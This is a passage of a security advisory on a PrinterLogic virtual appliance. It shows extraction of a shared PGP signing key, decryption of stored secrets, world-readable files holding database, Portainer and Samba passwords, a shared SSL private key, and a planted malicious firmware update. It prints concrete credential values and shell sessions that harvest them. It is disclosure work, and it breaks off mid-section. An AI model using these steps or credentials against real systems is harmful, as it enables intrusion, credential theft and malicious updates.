[50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4]
root@printerlogic:~# less out.key
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQIVBF4qHKgBEAC3T56eTrfTkPZrLwKUla4FSbdd2QTQU5XsXT6gCc6TpadMF1XY
2GfZaUcQ5G0DOWRQpy9rxBh+ZiffqbDFKyHLmSG4RrYpeR0jttUdVEdQ99II0kfB
41bo59iJkYM6EGAm2htBrstUnOwyFMn1DH8PBs/Pp+N8kaOCa+BgjKyxvQvXHXSz
b9dt6TLPRnloO4hJXJI1htHMFdBTpzJKY8gKnug/XO7Vkq5j3mCcGM/5K4fzKYoE
fFmQO9sjnzG6hnon+9tUsexmnCosk5a+HzpGthrx3/MIFHMe02ZL7VGuxOUyL618
wEa4CbnxMwsW14FzOjPubaMsgsQhuH3X2yiVgJw2i0c1IUmFiEdeTZ29tDlhsUmM
pNqGgvp41t41PD6EoA4KhdyGh0GTtzz97QoY1HTpbTF3vPChRgWFMDnw+1jXd3Q7
m6Zgkn2iVFVb+bUT5VZAnT7okJHP8ZKtqm97YxliUft1JQvISaVaoL0VOyB6P83T
1CeVTtMLsZRgooKIyOTyxPzRZxqmYhGMOam7KY/syKZRw5zIcBGGpuZ6xQRSKYRG
hZhDFZFmvO7EkQoPJaYsX6IY3oOwZ1GTq1mWQ062FzmPA4gWffOUGGdbrZuJSPg5
1OsFVcXeg8KGqJOAQBVG4gQ7mbjv2F5Srll6S9k7X8i0XXFoBMLZ9bt9pwARAQAB
/wBlAEdOVQG0UVByaW50ZXJMb2dpYyBWaXJ0dWFsIEFwcGxpYW5jZSBUZWFtIDxu
by1yZXBseSt2aXJ0dWFsLWFwcGxpYW5jZUBwcmludGVybG9naWMuY29tPokCTgQT
AQgAOAIbAwIeAQIXgBYhBMraCwbYraWnLFL1+wm9njZ9oQmYBQJeKh7OBQsJCAcD
[...]
The passphrase for the private key is also hardcoded and can be found in files present in the directory /var/lib/docker/image/overlay2/imagedb/content/sha256
.
After the extraction of the key is done, the private key is under attacker's control. This key has been installed in another Linux machine under attacker's control and can generate legit malicious update images:
kali% gpg --list-secret-keys
/home/user/.gnupg/pubring.kbx
-----------------------------
sec# rsa4096 2020-01-23 [SC]
CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
uid [ unknown] PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>
ssb rsa4096 2020-01-23 [E]
ssb# rsa4096 2020-01-23 [S]
kali%
An attacker with admin privileges on the solution can upload custom encrypted updates.
Decrypting the firmware image using the private key, encrypting using the public key and decrypting this file using the private key:
kali% gpg 20.0.1305.gpg
gpg: WARNING: no command supplied. Trying to guess what you mean ...
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
"PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>"
^C
gpg: signal Interrupt caught ... exiting
kali% echo test | gpg --encrypt -a -r no-reply+virtual-appliance@printerlogic.com -o test.gpg
gpg: FCF4134A2496B21A: There is no assurance this key belongs to the named user
sub rsa4096/FCF4134A2496B21A 2020-01-23 PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>
Primary key fingerprint: CADA 0B06 D8AD A5A7 2C52 F5FB 09BD 9E36 7DA1 0998
Subkey fingerprint: 15CD B10F F97C 6F80 6B9D 979C FCF4 134A 2496 B21A
It is NOT certain that the key belongs to the person named
in the user ID. If you *really* know what you are doing,
you may answer the next question with yes.
Use this key anyway? (y/N) y
kali% gpg test.gpg
gpg: WARNING: no command supplied. Trying to guess what you mean ...
gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23
"PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>"
kali% cat test
test
kali%
Furthermore, it was observed this private key was also used by the support:
Content of /var/www/cicd-linux-ops/bin/va-rotate-secrets.sh
:
#!/bin/bash -l # Setup logging LOG_TAG="va/rotate-secrets" LOG_CAPTURE_ERRORS=true . ${CICD_DIR}/includes/func_logging.sh # Portainer rotation # The portainer password is stored in plaintext in the location noted below. To rotate this password, we simply need to # set a new password in this file, then save the gpg-encrypted version in our storage location. We store an encrypted form # there to allow our advanced customer support to have access, only as a last resort. Customers should NEVER be allowed # to have access to portainer, even on a temporary basis. Only a member of an advanced support team should be able to # enable portainer (enabled via environment variable), decrypt the password found in persistent storage, then access portainer log "Rotating Portainer password" PORTAINER_PASSWORD_FILE=${PRINTERCLOUD_CONFIG_DIR}/portainer-admin-password.txt # Generate a new portainer password and write it to the plaintext location PLAINTEXT_PASSWORD=$(cat /proc/sys/kernel/random/uuid) echo "${PLAINTEXT_PASSWORD}" >${PORTAINER_PASSWORD_FILE} # Store the encrypted version SECRETS_DIR=${APPLIANCE_STORAGE_TARGET}/.secrets PORTAINER_PASSWORD_FILE_ENCRYPTED=${SECRETS_DIR}/portainer-admin.gpg # Make sure file and dir exist first mkdir -p ${SECRETS_DIR} touch ${PORTAINER_PASSWORD_FILE_ENCRYPTED} set-secret.sh -f ${PORTAINER_PASSWORD_FILE_ENCRYPTED} --encrypt PORTAINER_PASSWORD=${PLAINTEXT_PASSWORD} log "Finished rotating Portainer password" # Force a logout/shutdown if the UI is running if [[ "${REPLICAS_PORTAINER_UI}" -ge 1 ]]; then log "Forcing Portainer shutdown" set-secret.sh "REPLICAS_PORTAINER_UI=0" fi
GPG is used to encrypt the portainer password and the resulting file is located in /var/www/efs_storage/.secrets/portainer-admin.gpg
. It can be decrypted using the private key as shown below.
To confirm the key is indeed common to all installed solutions, another test solution has been installed and I was able to decrypt the GPG files located in /var/www/efs_storage/.secrets
- this confirms the private key can be used in all installed solutions:
kali% scp -r root@10.105.0.242:/var/www/efs_storage/.secrets . app-keys.gpg 100% 704 1.0MB/s 00:00 portainer-admin.gpg 100% 660 1.0MB/s 00:00 kali% cd .secrets kali% gpg app-keys.gpg gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23 "PrinterLogic Virtual Appliance Team" kali% cat app-keys APP_KEY="WtlAAtpHpgRnFwdseoejTYNHaEobvKZ1" MYSQL_ROOT_PASSWORD="fbaf64cf-43fd-4572-a123-dccc97ae7f88" kali% gpg portainer-admin.gpg gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23 "PrinterLogic Virtual Appliance Team " kali% cat portainer-admin PORTAINER_PASSWORD="644e3db6-6058-4771-955f-cfb7fa693c7d" kali%
But the portainer password is also freely available by reading the world-readable file /etc/printercloud/portainer-admin-password.txt
:
root@printerlogic:/var/www/efs_storage/.secrets# ls -la /etc/printercloud/portainer-admin-password.txt -rw-r--r-- 1 ubuntu docker 37 Feb 9 08:48 /etc/printercloud/portainer-admin-password.txt root@printerlogic:/var/www/efs_storage/.secrets# cat /etc/printercloud/portainer-admin-password.txt 4784ceb0-1960-4ba7-997b-022907cdf14b root@printerlogic:/var/www/efs_storage/.secrets# gpg portainer-admin.gpg gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23 "PrinterLogic Virtual Appliance Team" root@printerlogic:/var/www/efs_storage/.secrets# cat portainer-admin PORTAINER_PASSWORD="4784ceb0-1960-4ba7-997b-022907cdf14b" root@printerlogic:/var/www/efs_storage/.secrets#
It is also possible to install a malicious firmware update. The firmware file will be stored inside /var/www/efs_storage/.updates
and will be installed:
root@printerlogic:/var/www/efs_storage/.updates# ls -latr
total 4810592
-rwxrwxr-x+ 1 root docker 4898676615 Jan 27 10:04 20.0.1305.gpg
drwxrwsr-x+ 2 ubuntu docker 4096 Jan 27 10:18 .patches
drwxrwsr-x+ 19 www-data docker 4096 Feb 2 08:15 ..
-rwxrwxr-x+ 1 root docker 77476 Feb 11 05:13 untitled.gpg
-rwxrwxr-x+ 1 root docker 27262976 Feb 11 05:56 malicious.update.gpg
-rwxrwxr-x+ 1 root docker 128 Feb 11 06:00 malicious.update2.gpg
drwxrwsr-x+ 3 root docker 4096 Feb 11 06:00 .
root@printerlogic:/var/www/efs_storage/.updates#
An attacker with admin privileges on the solution can upload custom signed updates to compromise the application.
An attacker can decrypt any GPG-encrypted file located in /var/www/efs_storage/.secrets
and retrieve the mysql root password, the APP_KEY
password and the portainer password.
The solution stores passwords in clear-text in some world-readable files:
The above provided list is not exhaustive.
/etc/printercloud/network.env
with insecure permissions:
root@printerlogic:~# ls -la /etc/printercloud/network.env -rw-rw-r-- 1 ubuntu docker 29 Feb 8 01:51 /etc/printercloud/network.env root@printerlogic:~# cat /etc/printercloud/network.env NETWORK_USR_PWD="kZEXhhyjIY" root@printerlogic:~#
/etc/printercloud/appliance.env
with insecure permissions:
root@printerlogic:~# ls -la /etc/printercloud/appliance.env -rwxrwxr-x 1 ubuntu docker 858 Jan 27 10:16 /etc/printercloud/appliance.env root@printerlogic:~# cat /etc/printercloud/appliance.env [...] # Anything below this line has been added via script/automation VA_VERSION="1.0.730" MS_AUTH_KEY="ccb33b57-7960-409c-9d15-b6c5b475c839" APPLIANCE_LOG_DIR="/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx" APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M" MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3" [...] root@printerlogic:~#
/etc/printercloud/previous-db-password.txt
with insecure permissions:
root@printerlogic:~# ls -la /etc/printercloud/previous-db-password.txt -rw-rw-r-- 1 ubuntu docker 44 Feb 8 01:51 /etc/printercloud/previous-db-password.txt root@printerlogic:~# cat /etc/printercloud/previous-db-password.txt PREVIOUS_DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt" root@printerlogic:~#
/etc/printercloud/secrets.configuring.bak
with insecure permissions:
root@printerlogic:~# ls -la /etc/printercloud/secrets.configuring.bak -rwxr-xr-x 1 root root 3519 Jan 27 09:36 /etc/printercloud/secrets.configuring.bak root@printerlogic:~# cat /etc/printercloud/secrets.configuring.bak DB_DATABASE="app_pi" DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt" DB_PORT="3306" DB_USERNAME="admin" PRINTERCLOUD_DOMAIN="10.105.0.241" SAMBA_PASSWORD="4rd7AqdBvj7ZdGKrvQ9Z"
/var/www/efs_storage/secrets.env
with insecure permissions:
root@printerlogic:/var/www/efs_storage# ls -la /var/www/efs_storage/secrets.env -rwxrwsr-x+ 1 root docker 3519 Jan 27 09:36 /var/www/efs_storage/secrets.env root@printerlogic:/var/www/efs_storage# cat secrets.env DB_DATABASE="app_pi" DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt" DB_PORT="3306" DB_USERNAME="admin" PRINTERCLOUD_DOMAIN="10.105.0.241" SAMBA_PASSWORD="4rd7AqdBvj7ZdGKrvQ9Z"
It is also possible to decrypt the gpg-encrypted files found in /var/www/efs_storage/.secrets
using the private key that was extracted before:
root@printerlogic:~# ls -la /var/www/efs_storage/.secrets/ total 16 drwxrwsr-x+ 2 ubuntu docker 4096 Feb 8 06:38 . drwxrwsr-x+ 19 www-data docker 4096 Feb 2 08:15 .. -rw-rw-r--+ 1 ubuntu docker 704 Jan 27 09:36 app-keys.gpg -rw-rw-r--+ 1 ubuntu docker 660 Feb 7 08:59 portainer-admin.gpg root@printerlogic:~# cd /var/www/efs_storage/.secrets root@printerlogic:/var/www/efs_storage/.secrets# gpg app-keys.gpg gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23 "PrinterLogic Virtual Appliance Team" root@printerlogic:/var/www/efs_storage/.secrets# cat app-keys APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M" MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3" root@printerlogic:/var/www/efs_storage/.secrets# gpg portainer-admin.gpg gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23 "PrinterLogic Virtual Appliance Team " root@printerlogic:/var/www/efs_storage/.secrets# cat portainer-admin PORTAINER_PASSWORD="1bd01aeb-e29d-4de6-83ca-11e55858c6ae" root@printerlogic:/var/www/efs_storage/.secrets#
/var/lib/docker/swarm/worker/tasks.db
with insecure permissions:
root@printerlogic:/var/lib/docker/swarm/worker# ls -la /var/lib/docker/swarm/worker/tasks.db -rw-r--r-- 1 root root 2097152 Feb 9 03:37 /var/lib/docker/swarm/worker/tasks.db root@printerlogic:/var/lib/docker/swarm/worker# strings /var/lib/docker/swarm/worker/tasks.db | grep -i pass MYSQL_DATABASE=app_pi*#MYSQL_PASSWORD=BBlIL1X1ARvyrnA3FBpt*8MYSQL_ROOT_PASSWORD=0aa58a30-9f32-4731-a03c-3795fe49c0f3* 9mysqladmin -uadmin --password='BBlIL1X1ARvyrnA3FBpt' [...]
The directory /var/lib/docker/swarm
is 700
so the exposure of the tasks.db
file is limited.
An attacker with access to the main filesystem can compromise the solution.
An attacker with access to a Docker instance that mounts /var/www/efs_storage
can compromise the solution.
The provided list is not exhaustive; it is advised to review the solution to find more files containing passwords in clear-text.
Some Docker instances contain a hardcoded private key for the SSL certificate of pl-local.com
.
Docker instances containing /etc/ssl/private/pl-local.com.key
and /etc/ssl/certs/pl-local.com.pem
:
root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i); docker exec -it $i sha256sum /etc/ssl/private/pl-local.com.key /etc/ssl/certs/pl-local.com.pem;done
b836228df432 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-seeder.1.zbh6pg52gjaa9gn5xqtc7taj5
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
05e23b975354 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-reports.1.qimjcm6p2ky6r5cmoytg7buw2
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
5b81f67f8921 printerlogic/scim:1.0.9 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scim.1.kstnz1b2i6h2bqs69azk50l3r
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
0b6c0bc767aa printerlogic/pq:5.0.124 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000/tcp printercloud_pq.1.rnyjdcu5oxkto8tib6s4esxu7
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
7f52a38a45d1 printerlogic/sched:1.0.18 "/var/www/app/.dock" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000/tcp printercloud-appliance_worker-scheduler.1.jn23ywopn7apb9qcplrpe1xcc
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
cbb00388efa6 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.mw9bfqfog2hm26wk527b5zfls
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
7efd81083d4e printerlogic/gw:1.208.5 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_gw.1.c68jpas58ra6qv56mrgavwrab
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
02c86f8d174e printerlogic/users:5.186.1 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_users.1.3tkj8z26r2jiz5jmmt7wsxzs0
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
375459c3f176 printerlogic/va-cdn:0.0.435 "/docker-entrypoint." 6 hours ago Up 6 hours 80/tcp printercloud-appliance_va-cdn.1.xokrstwpp8o7ykgcpwcdldjue
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
b141c9f47ae2 printerlogic/cpp-ui:1.80.5 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_cpp-ui.1.4zg2dyrl36sdhnnt9wdiahfb4
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
1671f7750d2a mysql:8.0.26 "docker-entrypoint.s" 6 hours ago Up 6 hours (healthy) 3306/tcp, 33060/tcp storage_mysql.1.5chx6h1st15x31gc5wpollzii
out2093911dc1a1 printerlogic/scd:1.0.70 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scd.1.ppbu3zen3nxc4a9mbibocypb6
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
a058dddcdc76 printerlogic/authn:1.0.257 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_authn.1.6nguqh8gx3n1zqromg63zbjhd
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
4b14b2d3e5f4 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-high.1.o5dzhxx4rwq0qkx52ulm198a9
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
ccd58c6422ae printerlogic/tree:1.0.57 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_tree.1.vbe3pg3zk3db1yytu3q109ejh
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
472cd50c71e3 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_pi.1.q4rk166ph4at73tk0xhcj48ko
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
7276af63e9db printerlogic/idpi:1.0.6 "/var/www/app/.docke" 6 hours ago Up 6 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_idpi.1.c3xqu7i4zfzk5sm3h0kxtxq2e
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
0a4c92b1e67e printerlogic/users:5.186.1 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-users-queue.1.qmf6gz6cjonf89mg1ppl2xxjk
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
e43ae54c74d1 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 6 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-low.1.9zjdza3fe2gfy10perdw7k8sx
e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee /etc/ssl/private/pl-local.com.key
b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e /etc/ssl/certs/pl-local.com.pem
Analysis of the certificate:
kali% openssl x509 -in pl-local.com.pem -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
8f:9c:26:3f:6b:08:96:bf
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = US, ST = UT, L = St George, O = PrinterLogic, OU = Engineering, CN = PrinterLogic, emailAddress = noreply@printerlogic.com
Validity
Not Before: Nov 19 21:58:11 2018 GMT
Not After : Jun 13 21:58:11 2117 GMT
Subject: C = US, ST = UT, L = St George, O = PrinterLogic, OU = Engineering, CN = PrinterLogic, emailAddress = no-reply@printerlogic.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (2048 bit)
Modulus:
00:c6:ef:0f:cb:da:41:de:79:51:16:3f:25:6c:bb:
98:3c:98:e1:e8:1f:04:96:e9:8f:d2:e9:95:8a:fe:
c7:a8:41:22:e6:a2:5b:50:77:d2:c3:07:e6:de:1e:
09:e2:b6:21:af:43:21:d8:03:5c:2d:70:6c:89:8f:
fc:1b:3a:5e:10:f4:22:2e:74:12:64:4f:57:48:9c:
55:2b:f8:88:75:9b:90:57:78:57:fd:72:11:4f:1a:
44:4f:1b:29:ae:b2:f9:64:e6:ec:e1:af:a9:e6:5e:
61:f4:5b:f6:24:92:47:ab:5f:f0:06:a0:25:43:36:
e8:2d:2e:f0:d1:6f:96:b1:e8:b5:75:e0:8c:2d:99:
ea:03:8d:91:82:f3:75:91:ef:5f:8d:7d:70:e9:3d:
e2:96:79:e8:19:22:f4:80:45:e6:48:b3:e8:48:e9:
33:68:c3:6e:dc:fd:99:c0:96:38:92:a5:05:31:dd:
a6:ef:3c:0f:9c:34:86:42:ed:ec:ea:08:35:dd:61:
20:a7:90:a8:da:fe:07:5b:77:10:29:ff:4f:9c:20:
9a:3a:ac:c7:83:e2:42:22:84:45:de:ba:89:2a:66:
c9:8f:1a:59:19:cc:4b:3e:5d:5d:62:ba:9a:1a:91:
53:55:ef:ff:f3:ec:9f:4a:28:c5:e7:be:c6:e4:bf:
94:bf
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Authority Key Identifier:
keyid:75:FB:82:08:93:6B:E3:28:E7:FD:49:45:63:4B:DA:96:55:65:35:58
X509v3 Basic Constraints:
CA:FALSE
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment
X509v3 Subject Alternative Name:
DNS:*.pl-local.com
Signature Algorithm: sha256WithRSAEncryption
3c:94:ec:2e:cd:b2:0a:85:ab:ee:af:6c:73:ce:52:ed:f4:ea:
89:17:ca:ce:db:99:84:a1:69:47:03:9e:aa:df:78:ca:b9:dc:
09:39:2b:cc:3b:c4:ad:81:3d:9d:fb:4d:99:e8:c2:b8:95:99:
b1:7a:8b:10:00:1c:d3:67:23:f6:47:d9:50:30:c7:4a:ff:6a:
c1:9e:4e:45:7c:1a:aa:e4:05:24:e2:44:6d:56:43:97:99:61:
13:a6:b8:4a:b9:c4:76:0f:5b:89:fe:17:f7:8e:82:ee:61:a4:
23:10:53:e6:67:38:0f:af:dc:33:4e:a5:98:36:e0:16:01:a3:
3c:e4:71:e5:f7:73:b2:16:22:0d:de:fa:47:a7:72:e2:08:ad:
b9:66:7c:70:e5:93:39:f2:f3:7e:2e:03:5b:88:b3:cf:db:0d:
45:2a:1e:28:ba:73:c8:51:b2:5b:a5:05:02:0d:68:59:22:5b:
e5:6b:23:09:65:82:8a:9e:9a:15:3a:78:e3:22:d8:42:93:83:
c1:c2:c9:47:10:fc:78:3f:c4:1e:e5:d9:d0:12:1e:e7:c9:01:
d1:4e:b7:45:0f:ae:0f:84:c4:af:2d:a7:91:d5:99:1d:d7:1e:
c2:e1:f1:14:6a:03:d4:06:4b:92:ca:9a:e7:68:c9:96:38:2b:
62:4c:cc:ea
kali%
An attacker may use this certificate for MITM purposes.
It was observed that the samba password is available in the process list:
root@printerlogic:~# ps -auxw | grep admin root 1262 0.0 0.0 14440 1024 pts/3 S+ 08:51 0:00 grep --color=auto admin root 4066 0.0 0.0 780 0 ? Ss 01:51 0:01 /sbin/tini -- /opt/entrypoint.sh -r -s appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin -u admin;4rd7AqdBvj7ZdGKrvQ9Z -g server signing = mandatory root 4798 0.0 0.0 2208 56 ? S 01:51 0:00 bash /opt/entrypoint.sh -r -s appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin -u admin;4rd7AqdBvj7ZdGKrvQ9Z -g server signing = mandatory root@printerlogic:~#
The password is used for the configuration of the dperson/samba
Docker instance:
root@printerlogic:~# docker ps | grep 34c81cb53b33
34c81cb53b33 dperson/samba:latest "/sbin/tini -- /opt/" 7 hours ago Up 7 hours (healthy) 139/tcp, 137-138/udp, 445/tcp config_samba.1.0bb6swjcmo97cnlf0rak8l8h3
root@printerlogic:~# docker exec -it 34c81cb53b33 /bin/bash
bash-5.0# ps -a
PID USER TIME COMMAND
1 root 0:01 /sbin/tini -- /opt/entrypoint.sh -r -s appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin -u admin;4rd7AqdBvj7ZdGKrvQ9Z
7 root 0:00 bash /opt/entrypoint.sh -r -s appliance-storage;/mnt/appliance-storage;yes;no;no;admin;none;admin -u admin;4rd7AqdBvj7ZdGKrvQ9Z -g server
11 root 0:00 smbd -FS --no-process-group
58 root 0:00 {smbd-notifyd} smbd -FS --no-process-group
59 root 0:00 {cleanupd} smbd -FS --no-process-group
3219 root 0:00 /bin/bash
3225 root 0:00 ps -a
bash-5.0#
An attacker who can list processes in the machine can retrieve this password in clear-text and proceed to lateral movements.
The solution contains build scripts:
Content of /opt/version.env
:
kali# cat /opt/version.env
export VERSION=0.0
export FULL_VERSION=0.0.1374
export SERVICE_CODE=cicd
The scripts are using insecure communication methods and using external Docker images.
The /opt/docker-compose.yaml
file will use https://hub.docker.com/r/vladgh/gpg
without checking whether the image is malicious or not. Furthermore, it will store the private GPG of no-reply+virtual-appliance@printerlogic.com:
Content of /opt/docker-compose.yaml
:
1 version: '3.7' 2 3 x-volumes: 4 - &v-code ./:/opt 5 - &v-etc ./.docker-config/storage/etc:/etc/printercloud 6 - &v-storage ./.docker-config/storage/efs:/var/www/efs_storage 7 - &v-install ./.docker-config/storage/install:/install 8 - &v-aws ~/.aws:/home/ubuntu/.aws 68 # ci-import-gpg is used in the bitbucket pipeline for importing GPG keys into the image 69 ci-import-gpg: 70 image: vladgh/gpg:latest 71 volumes: 72 - ./.build/keys:/srv/.gpg 73 - ./.build/.gnupg:/root/.gnupg 74 entrypoint: /bin/sh 75 command: | 76 -euxc " 77 ls -la /srv/.gpg 78 for sec in /srv/.gpg/*/*sec.gpg.gpg; do 79 gpg --decrypt --pinentry-mode loopback --passphrase \"${BUILD_GPG_KEY_SECRET}\" \"$${sec}\" | gpg --import --yes --pinentry-mode loopback --passp hrase \"${GPG_SIGNING_PASSWORD}\"; 80 done 81 for pub in /srv/.gpg/*/*pub.gpg; do 82 gpg --import --yes --no-tty \"$${pub}\" 83 done 84 echo -e \"trust\n5\ny\n\" | gpg --command-fd 0 --no-tty --edit-key '' 85 gpg --list-keys 86 "
The /opt/includes/provision/va-build-node.sh
script will fetch the Virtualbox extensions over HTTP and install them as root without checking the signatures of these files. An attacker located on the network can get Remote Code Execution.
Content of /opt/includes/provision/va-build-node.sh
:
